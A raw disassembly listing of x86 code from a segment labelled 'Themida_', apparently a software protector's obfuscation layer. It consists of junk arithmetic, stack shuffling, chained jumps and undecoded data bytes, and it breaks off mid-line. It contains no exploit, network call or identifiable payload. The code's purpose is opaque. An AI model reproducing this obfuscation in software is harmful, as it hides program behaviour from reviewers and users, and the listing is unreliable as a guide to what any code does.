loc_552570 loc_552579: ; CODE XREF: Themida_:0055271Aj ; Themida_:loc_55272Aj ... lodsb xor al, bl push cx push eax mov al, 54h jmp loc_562B0C ; --------------------------------------------------------------------------- loc_552586: ; CODE XREF: Themida_:00567240j mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 61997B8Ch and ebx, 586151EEh push edx mov edx, 5A0036ADh xor ebx, edx pop edx jmp loc_567B95 ; --------------------------------------------------------------------------- loc_5525AB: ; CODE XREF: Themida_:00561AD8j sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_563102 ; --------------------------------------------------------------------------- loc_5525C1: ; CODE XREF: Themida_:0055D364j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov dh, 0C9h push 39Eh jmp loc_556590 ; --------------------------------------------------------------------------- db 0BDh dd 4, 0E95DEE01h, 0D0A8h, 1ABBE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5525EA: ; CODE XREF: Themida_:0055E7EDj mov [esp], eax jmp loc_561793 ; --------------------------------------------------------------------------- loc_5525F2: ; CODE XREF: Themida_:00562888j pop edi push eax mov eax, 0E113615h sub eax, 6AE34DF0h and eax, 21856CE2h add eax, 3ACF0491h jmp loc_55FF04 ; --------------------------------------------------------------------------- db 59h, 5Bh, 81h dd 4C3h, 8B85000h, 5505E0Ch, 0FEF8635Dh, 0C6C3E9h, 0C1EA8100h dd 5F61A61Ch, 15AD389h, 241C8BD8h, 7C4B68h, 243C8900h dd 0BB53E789h, 4, 3B95EF81h, 8BE9579Ah, 8F000002h, 665C2404h dd 66C8BE0Fh, 663A4C68h, 0E9240C89h, 0FFFFFF15h, 0BC1350BFh dd 40C7812Eh, 0E956C047h, 10E8Fh, 0E9240C89h, 7D99h ; --------------------------------------------------------------------------- loc_55267C: ; CODE XREF: Themida_:005539DFj mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_55A9CF ; --------------------------------------------------------------------------- loc_55268D: ; CODE XREF: Themida_:0055D8EFj push ecx push ebp push 1AFD28D4h pop ebp shl ebp, 1 shl ebp, 1 jmp loc_55320F ; --------------------------------------------------------------------------- loc_55269E: ; CODE XREF: Themida_:0055C20Dj mov esi, 33FF4376h sub esi, 0FFFFFFFFh push eax mov eax, 5D9C4017h xchg eax, ebx not ebx xchg eax, ebx jmp loc_55FE66 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0FF000000h, 81592434h, 4C4h, 0BF41E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5526CA: ; CODE XREF: Themida_:0055D3ABj neg edi shr edi, 5 xor edi, 13E05B87h or edi, 7CCC52BEh shl edi, 5 xor edi, 0BBEAFFE4h add eax, edi pop edi add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub ebx, 5B383D70h add ebx, edi add ebx, 5B383D70h push edx mov edx, 7AF3671Bh sub ebx, edx pop edx jmp loc_556893 ; --------------------------------------------------------------------------- loc_552712: ; CODE XREF: Themida_:0056729Cj add ebx, 25B7380Eh pop dword ptr [eax] jmp loc_552579 ; --------------------------------------------------------------------------- aUMSjg db 'U½ΞέΟιjg',0 align 2 loc_55272A: ; CODE XREF: Themida_:0055935Cj jmp loc_552579 ; --------------------------------------------------------------------------- db 0B4h dd 58E7882Bh, 0E9BFF780h, 0A7F5h, 0EA81CA01h, 6E08673Dh dd 3047E9h, 24048700h, 8924248Bh, 4BE2434h, 1000000h, 0BA525EF1h dd 4, 795DE9h, 0E9E78900h, 0EDAh, 68242C89h, 1, 5D2434FFh dd 8C35E9h, 0FDF7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552782: ; CODE XREF: Themida_:0056391Bj push edx push ebp mov ebp, 50207945h jmp loc_553C16 ; --------------------------------------------------------------------------- dw 0C381h dd 6AA30D01h, 1E56C381h, 0FB292EF0h, 149DBF57h, 0D147113Bh dd 0E7C147EFh, 0AAEF8104h, 295AE886h, 315E9FBh, 44810001h dd 29D30424h, 5C29155Dh, 6C810424h, 29D30424h, 5A5B155Dh dd 42C0C281h, 815D74A0h, 0A5BF82C2h, 0E9D6018Bh, 10BB9h dd 0BAF58159h, 0E9411650h, 8EB9h ; --------------------------------------------------------------------------- loc_5527EC: ; CODE XREF: Themida_:0055DB85j push esp mov ebx, [esp] add esp, 4 push ecx mov ecx, 49B7015Ch jmp loc_555E19 ; --------------------------------------------------------------------------- loc_5527FE: ; CODE XREF: Themida_:00561BE4j mov esp, [esp] mov [esp], ecx push 0FFFFFFFFh mov ecx, [esp] add esp, 4 sub [edi+24h], ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55934F ; --------------------------------------------------------------------------- dd 4A45E957h db 1, 0 ; --------------------------------------------------------------------------- loc_552836: ; CODE XREF: Themida_:0055DA05j add edi, ecx push ecx mov ecx, 1FDC30FBh sub edi, ecx mov ecx, [esp] jmp loc_55FC03 ; --------------------------------------------------------------------------- loc_552848: ; CODE XREF: Themida_:0056454Fj push edi mov edi, 4792069Dh push ebp jmp loc_555867 ; --------------------------------------------------------------------------- loc_552854: ; CODE XREF: Themida_:0056319Fj pop ebp pop ebx dec ebp inc ebp add ebp, 51091E0Ch or ebp, 1A063E8h xor ebp, 4BF54241h jmp loc_559D3D ; --------------------------------------------------------------------------- loc_55286F: ; CODE XREF: Themida_:0055DF98j sub eax, 2C93343Bh push edx push eax mov eax, 913409Ch not eax dec eax sub esp, 4 mov [esp], eax not dword ptr [esp] pop eax and eax, 5F8E3093h sub eax, 9873EC1Ah push ebx mov ebx, eax mov edx, ebx pop ebx pop eax push edi jmp loc_565FFA ; --------------------------------------------------------------------------- db 29h dd 0D3015FFAh, 5BDDE95Ah, 0EC830000h, 410EE904h, 0D6F70000h dd 0E908EEC1h, 4FC5h, 5AD52958h, 0E949E987h, 2D88h, 2434FF58h dd 0E0895059h, 405h, 0C062E900h, 0DF010000h, 9FCBA52h dd 0F2813F88h, 57DE1941h, 8103EAC1h, 8F797EC2h, 5AD7014Ah dd 5B2434FFh, 8104C483h, 4C7h, 243C8700h, 7373055Ch, 0BB530826h dd 515026D5h, 0E602D52Dh, 4538054Dh, 0D8013310h, 1045382Dh dd 8444E933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552926: ; CODE XREF: Themida_:005539FCj push edi push 78F62C45h pop edi or edi, 25EB2C1Dh xor edi, 60E27B87h add edi, 580BCBE6h mov esi, edi pop edi push edi mov edi, 0E986D44h sub edi, 2EFD040Fh sub edi, 0D4F0431Ah jmp loc_558F4E ; --------------------------------------------------------------------------- db 80h, 0CAh, 48h dd 0C2FED2F6h, 8816F280h, 3FB15AD3h, 8089E980h, 0D92867C1h dd 11C4EE9h, 0E5C14D00h, 618AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55297E: ; CODE XREF: Themida_:005627F8j push 61DDh mov [esp], ecx push ebx pop ecx pop ebx push 7C14h mov [esp], eax push eax jmp loc_561498 ; --------------------------------------------------------------------------- db 83h dd 46E901EAh, 570000E8h, 0BD397868h, 0C68FE942h, 2C870000h dd 24248B24h, 4C481h, 0EB810000h, 204669D9h, 0C381FB01h dd 204669D9h, 8B038F50h, 98E9241Ch db 2Bh, 1, 0 ; --------------------------------------------------------------------------- loc_5529CF: ; CODE XREF: Themida_:00560396j mov ecx, [esp] jmp loc_55E866 ; --------------------------------------------------------------------------- loc_5529D7: ; CODE XREF: Themida_:0055C9DAj xchg ebx, edi push ebp mov ebp, 30B36A5Ch xor ebp, 2B276C7Ah jmp loc_563F15 ; --------------------------------------------------------------------------- dw 0D2F7h dd 6749F281h, 0C281266Dh, 6F343A63h, 15AD601h, 0F52BE9F1h dd 48B0000h, 4C48124h, 5000000h, 24C5D296h, 0B4D0E9h, 0EC815100h dd 4, 67E3E9h, 463BBB00h, 81536B67h, 5B16242Ch, 815A5D1Ch dd 1C5B16C2h, 0D6315B5Dh, 5A2434FFh, 4C481h, 0B9510000h dd 11A2078Eh, 0DE9D9F7h, 0FF000146h, 835B2434h, 0C3304C4h dd 240C3124h, 8B240C33h, 2CD32424h, 0EE99C24h, 0C1FFFFFBh dd 0EB8106EBh, 3A23B38h, 0E91C5F09h, 0BC6Bh, 83242C8Bh dd 22E904C4h, 810000A8h, 0C0564FEBh, 81DBF733h, 324E10EBh dd 8BDE0103h, 0C481241Ch, 4, 4C681h, 0D7E90000h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552AAB: ; CODE XREF: Themida_:0055B2BCj sub esp, 4 mov [esp], edx mov edx, 486D250Bh add edx, 31010812h dec edx shr edx, 2 jmp loc_560824 ; --------------------------------------------------------------------------- db 0B7h, 44h, 0E9h dd 86FBh, 958C189h, 0E28159CAh, 72456561h, 737CEA81h, 0EA815705h dd 1B3FF1E0h, 0E95AD501h, 18AFh, 0E950E289h, 6A7h, 48EAFA05h dd 0E9C221FEh, 55ACh, 31242C33h, 2C33242Ch, 89665C24h dd 66E92404h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B13: ; CODE XREF: Themida_:00560134j push 5E536F04h mov edi, [esp] add esp, 4 push eax mov eax, 32D80556h and edi, eax pop eax push esi mov esi, 5960865h jmp loc_55759C ; --------------------------------------------------------------------------- db 0FFh, 77h, 2Ch dd 0FFFA3CE9h, 8BCF01FFh, 8952240Ch, 0ACE951E2h db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B4B: ; CODE XREF: Themida_:0055CD4Aj xor esi, ebp pop ebp add [esp+8], esi mov esi, [esp] add esp, 4 add [esp+4], ecx jmp loc_564BCC ; --------------------------------------------------------------------------- dd 8102E3C1h, 0F52FE2EBh, 0BA5256B7h, 244A2C29h, 0C106EAC1h dd 0E94207E2h, 13116h, 0C181E189h, 4, 4C181h, 11E90000h dd 57000137h, 11C96FBFh, 5FFB298Ah, 0BCC0E9h db 0 ; --------------------------------------------------------------------------- loc_552BA1: ; CODE XREF: Themida_:0055F1BFj pop esp mov [esp], edx sub esp, 4 mov [esp], ecx mov cl, 0F2h push ebx mov bh, cl mov dh, bh pop ebx pop ecx sub al, 0Ch sub al, dh add al, 0Ch push dword ptr [esp] jmp loc_55E701 ; --------------------------------------------------------------------------- db 0BEh, 4, 56h dd 0F1315BD4h, 64B2E95Eh, 0E9520000h, 11151h, 54241489h dd 5124148Bh, 0CDEFE9h, 58E28800h, 0E902E2C0h, 10E31h dd 0E959CA01h, 298Ch ; --------------------------------------------------------------------------- loc_552BF8: ; CODE XREF: Themida_:0055F8D9j mov ebp, 4AD4121Ah not ebp shr ebp, 4 push edi mov edi, 4F787C51h or ebp, edi pop edi shl ebp, 8 sub ebp, 7AFEDEFCh add ebx, ebp push dword ptr [esp] jmp loc_55FB89 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E924048Bh, 0CC8Ah, 815AD329h, 0BB1FE5EBh dd 0E9DE0126h, 0E9F4h ; --------------------------------------------------------------------------- loc_552C3C: ; CODE XREF: Themida_:005554FAj pop edi and ebx, 1BBB532Ah add ebx, 1EAE5EAEh or edx, ebx mov ebx, [esp] add esp, 4 jmp loc_553D8D ; --------------------------------------------------------------------------- dw 0E95Fh dd 84FBh, 4240483h, 6413E959h, 0F6810000h, 1E1F765Dh, 0A5F6814Eh dd 29F3D8A1h, 1E3AE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552C7A: ; CODE XREF: Themida_:0055C2EDj mov [esp], edx mov edx, 4E4D478Fh shr edx, 1 xor edx, 5CEB1070h add edx, 84324C4Bh jmp loc_563784 ; --------------------------------------------------------------------------- loc_552C95: ; CODE XREF: Themida_:00557649j xchg ebp, edi xchg edi, [esp] mov esi, [esp] sub esp, 4 jmp loc_560671 ; --------------------------------------------------------------------------- loc_552CA8: ; CODE XREF: Themida_:005576E0j sub esp, 4 mov [esp], ebp push esp pop ebp push 2BB7h mov [esp], ecx mov ecx, 4 jmp loc_566E06 ; --------------------------------------------------------------------------- dw 0C87h dd 14F3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552CCA: ; CODE XREF: Themida_:00564B54j mov [esp], eax mov eax, 635E3FC4h not eax jmp loc_567245 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 4C781h, 3C870000h, 0B6525C24h, 78E0E9BEh, 0F3810000h dd 596B0965h, 0DFF5E9h, 0F3015900h, 8324348Bh, 2C8B04C4h dd 19E95524h, 660000B7h, 0E924048Bh, 5E52h, 24048B66h dd 0FBE6851h, 8E90000h, 5C00009Ah, 1190EE9h db 0 ; --------------------------------------------------------------------------- loc_552D2D: ; CODE XREF: Themida_:0055D381j mov ebp, 6E7B45E4h jmp loc_55D79B ; --------------------------------------------------------------------------- loc_552D37: ; CODE XREF: Themida_:00564048j mov ebx, esp add ebx, 4 jmp loc_55F099 ; --------------------------------------------------------------------------- dd 0C14E4E5Dh, 565005EEh, 5A89E9h, 4C68300h, 5C243487h dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h dd 0BD242C89h, 3D5A6F99h, 906BC581h, 0C181C2A5h, 22394B88h dd 0BB53E901h, 65D23F09h, 517F381h, 0E3D12849h, 0E906EBC1h dd 10B8Ch, 0E904C483h, 62AAh, 0B7208C68h, 1896E932h db 1, 0 ; --------------------------------------------------------------------------- loc_552DAE: ; CODE XREF: Themida_:0056629Fj add edx, 0D9D70E7h shl edx, 8 jmp loc_55FE8A ; --------------------------------------------------------------------------- dd 4C4835Ah, 0E906EEC0h, 10A85h ; --------------------------------------------------------------------------- loc_552DC8: ; CODE XREF: Themida_:00562B87j mov edx, esp jmp loc_5634D4 ; --------------------------------------------------------------------------- db 0B1h dd 80D9F6BEh, 0D1F624C1h, 0C180D1F6h, 0E9CA8874h, 0C303h ; --------------------------------------------------------------------------- loc_552DE4: ; CODE XREF: Themida_:0055C713j push edi mov edi, 53617C83h shl edi, 4 and edi, 3FE3B1Fh add edi, 1779224Bh not edi inc edi sub edi, 0E670D5A1h jmp loc_55F0FF ; --------------------------------------------------------------------------- loc_552E07: ; CODE XREF: Themida_:005595BAj add ebp, ecx pop ecx xchg ebp, [esp] pop esp jmp loc_55BCB7 ; --------------------------------------------------------------------------- db 83h dd 79E904EEh, 81000062h, 4C4h, 8EAAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552E26: ; CODE XREF: Themida_:0055E29Dj shr edx, 4 neg edx xor edx, 0E3AFBF06h sub eax, edx pop edx push dword ptr [esp] push dword ptr [esp] jmp loc_55BF36 ; --------------------------------------------------------------------------- loc_552E3F: ; CODE XREF: Themida_:0056677Dj push 4D55h jmp loc_55A5E4 ; --------------------------------------------------------------------------- loc_552E49: ; CODE XREF: Themida_:00553579j inc ebx jmp loc_562B51 ; --------------------------------------------------------------------------- db 0B5h dd 805AB7ECh, 0EF28A4C7h, 59A4EF80h, 51E96866h, 24148966h dd 550068h, 0BFECE900h, 34330000h, 24343124h, 0AB08E9h db 0 ; --------------------------------------------------------------------------- loc_552E79: ; CODE XREF: Themida_:0055C5C3j push edx jmp loc_55A7BB ; --------------------------------------------------------------------------- db 29h dd 0D10158C1h, 0A09C181h, 148B52E6h, 4C48124h, 0E9000000h dd 0CB16h ; --------------------------------------------------------------------------- loc_552E98: ; CODE XREF: Themida_:005588A3j pop ebx mov esi, ecx pop ecx jmp loc_55A8FD ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 83242C89h, 57E904ECh, 81000075h, 263E5AC3h, 0CFEB8129h dd 29585A4Eh, 0CFC381FBh, 52585A4Eh, 3B230FBAh, 0AAF28155h dd 4A3EF156h, 0D2F7D2F7h, 3939E9h, 24042100h, 0F697E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552EE2: ; CODE XREF: Themida_:0055C12Aj pop edi push edx mov edx, 15C121F6h not edx add edx, 4E5B4F35h not edx jmp loc_5584D4 ; --------------------------------------------------------------------------- loc_552EF8: ; CODE XREF: Themida_:00559615j and edi, 475A6C88h push eax mov eax, 2B326864h sub edi, 4F0A0B8Bh sub esp, 4 mov [esp], edx mov edx, 619A6469h jmp loc_565468 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 96h dd 0F7000104h, 43F781DFh, 0E933D940h, 0DA1Fh, 0CF124CBEh dd 0BB41E933h, 3C890000h, 13F6BF24h, 0FE293ACDh, 0FCE9595Fh dd 89000081h, 7DBB241Ch, 0E900B80Eh, 0F7D6h, 0E9D92C5Bh dd 0CAD0h, 8324248Bh, 2C8904ECh, 815D5424h, 4C5h, 4C58100h dd 87000000h, 248B242Ch, 381C6824h, 45E90000h, 810000FEh dd 821D21F3h, 2EC38156h, 2907B765h, 241C8BDAh, 0D4A0E9h db 0 ; --------------------------------------------------------------------------- loc_552F9D: ; CODE XREF: Themida_:00553FE3j pop edx add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5539BF ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF5C5h, 16CACE81h, 0C68146C4h, 8021A909h, 10E9F301h dd 330000B8h, 248B2414h, 14896624h, 9C506624h, 0FFF5A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_552FD9: ; CODE XREF: Themida_:005566B0j add esi, ebp sub esi, 377A498Dh sub esi, 5F7F1778h mov ebp, [esp] jmp loc_565899 ; --------------------------------------------------------------------------- loc_552FEF: ; CODE XREF: Themida_:0055BDCAj pop esp sub esp, 4 jmp loc_55AB02 ; --------------------------------------------------------------------------- dd 4246C01h, 0B762E95Dh, 0C4810000h, 4, 1127E9h, 92D02900h dd 0DFB85058h, 351CBD0Eh, 14F3308Ah, 0FF23E9h, 64E18100h dd 813FFB38h, 766021E9h, 0BFC1811Eh, 511C7B57h, 6E243481h dd 583E2703h, 27036E35h, 31E9593Eh, 0B90000DBh, 4E1F2893h dd 425DE9h db 0 ; --------------------------------------------------------------------------- loc_553051: ; CODE XREF: Themida_:00563743j push ebp mov ebp, 4D2B2462h sub ebp, 69F90EC2h xor ebp, 0E33215A4h add ebx, ebp pop ebp xchg ebx, [esp] pop esp xor esi, 6158A774h xor eax, esi mov esi, [esp] add esp, 4 jmp loc_55DC4F ; --------------------------------------------------------------------------- dd 0E924148Bh, 0D892h ; --------------------------------------------------------------------------- loc_553088: ; CODE XREF: Themida_:0055E1D3j mov [esp], ebx mov ebx, esp push edi push ebp mov ebp, 6576508Ah jmp loc_56287C ; --------------------------------------------------------------------------- loc_553099: ; CODE XREF: Themida_:0055A5EEj push edx mov edx, 6ABF3825h shl edx, 5 add edx, 0B12F25ABh or ebp, edx pop edx xor ebp, 1D366B9Fh push ebp pop edx jmp loc_564E33 ; --------------------------------------------------------------------------- loc_5530B8: ; CODE XREF: Themida_:005531CBj pop esi push ebx push 55C32ACDh pop ebx jmp loc_5550CB ; --------------------------------------------------------------------------- db 4, 13h, 0 dd 66132CC8h, 51240C8Bh, 0BB53E189h, 4FBE3880h, 9215E9h dd 3BF48000h, 58E0E9h, 81EE0100h, 8E6739C6h, 0F98AE929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5530F2: ; CODE XREF: Themida_:0055FD1Aj add esp, 4 jmp loc_558427 ; --------------------------------------------------------------------------- loc_5530FD: ; CODE XREF: Themida_:0056103Dj push esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] pop esp mov [esp], ecx jmp loc_565462 ; --------------------------------------------------------------------------- loc_553112: ; CODE XREF: Themida_:005575DAj shr eax, 4 add eax, 8A527305h sub edi, eax pop eax mov esi, edi pop edi add edx, 30B73B17h add edx, esi sub edx, 30B73B17h jmp loc_55DDE8 ; --------------------------------------------------------------------------- db 81h dd 42404h, 2C8B0000h, 4C48124h, 0E9000000h, 13FAFh ; --------------------------------------------------------------------------- loc_553148: ; CODE XREF: Themida_:0055A2DDj pop ecx sub esi, ebx jmp loc_559DAB ; --------------------------------------------------------------------------- loc_553150: ; CODE XREF: Themida_:0055814Bj mov ecx, ebp pop ebp push 31A9h jmp loc_565A9C ; --------------------------------------------------------------------------- db 54h, 5Dh, 0E9h dd 11609h, 4C481h, 48F0000h, 2C815C24h, 0F03E3224h, 58BE5637h dd 294E0B76h, 0E9042474h, 13999h, 22E5BFh, 0CF814726h dd 775C187Bh, 1410CE9h, 44E95B00h, 53000118h, 0A503E3BBh dd 0BA3B856h, 2AE9712Bh, 0FF00012Bh, 0E95B2434h, 4B25h dd 6824248Bh, 3EEh, 68241C89h, 2990h, 1214BE9h db 0 ; --------------------------------------------------------------------------- loc_5531C9: ; CODE XREF: Themida_:0055B9E7j xor ecx, esi jmp loc_5530B8 ; --------------------------------------------------------------------------- loc_5531D0: ; CODE XREF: Themida_:00564CB3j mov eax, 0B893DE3h jmp loc_56624D ; --------------------------------------------------------------------------- dw 4805h dd 114373Fh, 3F482DE8h, 2C8B1437h, 4C48124h, 83000000h dd 42E902C0h, 89000085h, 243C8BF9h, 115E0E9h, 0E3895300h dd 4C381h, 0B2E90000h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55320F: ; CODE XREF: Themida_:00552699j inc ebp add ebp, 0E0EBB587h mov ecx, ebp pop ebp push edx jmp loc_553FE2 ; --------------------------------------------------------------------------- db 0B9h dd 4, 5759CD01h, 0CA3F08BFh, 0F73AE970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553232: ; CODE XREF: Themida_:00555A2Ej add ebp, 2646E2Fh jmp loc_55D230 ; --------------------------------------------------------------------------- db 50h, 0B8h, 11h dd 513FC752h, 0C39B2B9h, 22F18164h, 41459425h, 0AFF0E981h dd 0CB01B19Eh, 119EE9h, 59CE0100h, 3E50EE81h, 4BE91859h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55326B: ; CODE XREF: Themida_:005595F6j sub [esp+8], esi add dword ptr [esp+8], 0D3D4B27h jmp loc_559AF8 ; --------------------------------------------------------------------------- loc_55327C: ; CODE XREF: Themida_:0055E3CDj inc ecx inc ecx jmp loc_5564A1 ; --------------------------------------------------------------------------- loc_553283: ; CODE XREF: Themida_:0055717Bj and eax, esi mov esi, [esp] jmp loc_55A793 ; --------------------------------------------------------------------------- db 5Bh, 29h, 0DDh dd 56241C8Bh, 0C681E689h, 4, 0E948E9h, 54C7BF00h, 0E7817928h dd 446610A1h, 0CF81474Fh, 4C4E32B5h, 32B1EF81h, 38E94C6Eh dd 0BAFFFFFFh, 5B533B0Ah, 9A6E9h, 5FE95900h, 0FF00008Fh dd 59042474h, 0E924048Fh, 0BC54h ; --------------------------------------------------------------------------- loc_5532DC: ; CODE XREF: Themida_:0055F5E8j sub edx, 7527628Eh inc edx xor edx, 340DD38Fh xor ebx, edx pop edx inc ebx push ecx mov ecx, 5D8831C5h shr ecx, 7 push esi mov esi, 64A80490h add ecx, esi pop esi inc ecx jmp loc_555A79 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 0E9000000h, 0F077h ; --------------------------------------------------------------------------- loc_553310: ; CODE XREF: Themida_:0055829Cj mov ebp, 73CC0C20h xor ebp, 375359A2h jmp loc_558A21 ; --------------------------------------------------------------------------- dd 4EC815Ch, 89000000h, 70E9242Ch, 89FFFFF6h, 0B9512424h dd 4, 4244C01h, 53515E59h, 6A71B850h, 0E9400E21h, 0E345h dd 0DDF7E5D1h, 0E16FF581h, 0EE89A3D4h, 5625E9h db 0 ; --------------------------------------------------------------------------- loc_55335D: ; CODE XREF: Themida_:00565148j neg edx jmp loc_561FC1 ; --------------------------------------------------------------------------- dd 4C481h, 815B0000h, 0A778C5C2h, 4EC817Dh, 89000000h dd 0BA522434h, 736E03D6h, 0BF57DAF7h, 75F322ACh, 22ADF781h dd 0FDE975F3h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_553393: ; CODE XREF: Themida_:0055A2E8j add [esp+4], ebp jmp loc_560679 ; --------------------------------------------------------------------------- dd 66B0BA52h, 0D709044Eh, 1235E9h, 4C58100h, 87000000h dd 335C242Ch, 4312404h, 9463E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5533BE: ; CODE XREF: Themida_:00567B60j add ecx, 0B2589C2Bh mov esi, ecx pop ecx xchg ecx, esi not ecx xchg ecx, esi shl esi, 3 xor esi, 0B2DFB040h jmp loc_5656A1 ; --------------------------------------------------------------------------- loc_5533DB: ; CODE XREF: Themida_:00554777j mov esi, 3CA13307h push edi mov edi, 2E2A07ACh jmp loc_56422B ; --------------------------------------------------------------------------- db 56h dd 96E9E689h, 5C00001Fh, 89242C89h, 4EC81E5h, 0E9000000h dd 0BDDDh ; --------------------------------------------------------------------------- loc_553404: ; CODE XREF: Themida_:005604DEj add esp, 4 xor ebx, 0BA20593h pop edx push 3A1Fh jmp loc_55C771 ; --------------------------------------------------------------------------- dd 0E03EF81h, 0EFD17247h, 6DC0C781h, 0F90188C0h, 4C1815Fh dd 87000000h, 815C240Ch, 4C4h, 4F3AE900h, 0C7810000h, 4 dd 4D368h, 24348900h, 64E86850h, 0E9580488h, 135FBh, 3F7368h dd 24148900h, 5D01B951h, 0CA895D38h, 9BAE959h, 0F660000h dd 9C2404ABh, 0FFF100E9h db 0FFh ; --------------------------------------------------------------------------- loc_553479: ; CODE XREF: Themida_:0055AC73j add edi, 4 jmp loc_560D52 ; --------------------------------------------------------------------------- dd 1591E95Fh, 0C2810000h, 9F6A0FF2h, 1E3FC581h, 0D52921F9h dd 1E3FED81h, 148B21F9h, 4EC8324h, 89242C89h, 4C581E5h dd 0E9000000h, 1414Eh, 8E95150h, 81000021h, 4C4h, 2C68100h dd 81000000h, 4ECh, 24348900h, 42474FFh, 22FE95Eh, 0EE010000h dd 0E12E95Dh, 0CE210000h, 83240C8Bh, 0C68104C4h, 3D5D39D1h dd 0B951D6F7h, 4A121A0Ch, 8141D9F7h, 3F780FE9h, 7E1C15Ch dd 371E9h, 1CE95200h, 3100003Ch, 0B60F66C3h, 0B750E900h dd 0E9500000h, 0E38Ch, 815BD901h, 0E57727C6h, 2EEE8157h dd 0E906EE33h, 715Ch, 34240481h, 682A2368h, 5698h, 68240C89h dd 5C80539Fh, 87BF5759h, 0E9072431h, 102B3h ; --------------------------------------------------------------------------- loc_553554: ; CODE XREF: Themida_:00564AC4j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0F42h mov [esp], edi push ebx push 3BD665F9h pop ebx neg ebx jmp loc_552E49 ; --------------------------------------------------------------------------- dw 0DBB7h dd 809AC780h, 0FC00F0ECh, 5BF0C480h, 48BE588h, 4C48324h dd 0C085E580h, 0F58005EDh, 0E9102C9Dh, 1051Bh ; --------------------------------------------------------------------------- loc_5535A4: ; CODE XREF: Themida_:005678E2j mov ebp, 4 add edi, ebp pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] add ecx, edi mov [ecx], edx mov ecx, [esp] add esp, 4 jmp loc_56073B ; --------------------------------------------------------------------------- aWsa db 'Wιaέ',0 align 10h dd 4EC81h, 34890000h, 4EC8324h, 13AEFE9h db 0 ; --------------------------------------------------------------------------- loc_5535E1: ; CODE XREF: Themida_:00565B3Aj shl ebp, 1 shr ebp, 5 add ebp, 607EFEE9h sub eax, ebp jmp loc_559797 ; --------------------------------------------------------------------------- db 8Bh dd 21662424h, 0E99C2404h, 0DD2Ch, 8324148Bh, 0EC8304C4h dd 240C8904h, 492E15B9h, 3803E935h, 0E9570001h, 0FFFFFE98h dd 81243C8Bh, 4C4h, 39C78100h, 5150F275h, 290F55B9h, 5CEAE976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553636: ; CODE XREF: Themida_:00562E3Ej xor edi, eax mov eax, [esp] add esp, 4 jmp loc_55C46F ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0E848E9h db 0 ; --------------------------------------------------------------------------- loc_553651: ; CODE XREF: Themida_:0055E5DFj add bl, dl sub bl, 42h pop edx movzx eax, al mov dx, [esp] push ebp jmp loc_55D5DB ; --------------------------------------------------------------------------- dd 4C281h, 0EA810000h, 4, 84DE9h, 24248B00h, 24048966h dd 0DD80E9h, 0B47EB600h, 0FFF4004Eh, 815A2434h, 4C4h, 1BC38000h dd 0EB80E300h, 24048B1Bh, 8004C483h, 8BE9BCEBh, 33000000h dd 1C31241Ch, 0FDC6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5536B2: ; CODE XREF: Themida_:005574CAj mov ebp, 78A76C85h push ebx push esi jmp loc_55C836 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0BD550000h, 4, 0B4B1E9h, 64685600h, 8B132318h dd 0C4832434h, 0FFEE8304h, 0C101EE83h, 0EE8107EEh, 0F6614419h dd 0ADE9F589h db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_5536F3: ; CODE XREF: Themida_:0055A81Dj mov ecx, [esp] add esp, 4 mov ecx, edi pop edi push dword ptr [esp] pop ebx push ebx jmp loc_558915 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FFF616E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 0EA38h dd 0E951D0F7h, 0FC09h, 0CC88D1F6h, 0C8E7E959h, 0B60F0000h dd 48F66C0h, 0EE3BE987h, 0C681FFFFh, 4, 0E904C683h, 0EF45h ; --------------------------------------------------------------------------- loc_55374C: ; CODE XREF: Themida_:0055B237j pop edx jmp loc_56154C ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5810000h, 4, 0D829E9h, 81D90100h, 5D0A4FE9h dd 0ED815B78h, 4DC441D1h, 0C581CD29h, 4DC441D1h, 3D586859h dd 0A5E90000h, 0C1000047h, 0E28102EAh, 74462E00h, 14F7524Ah dd 0B98E924h, 0B8500001h, 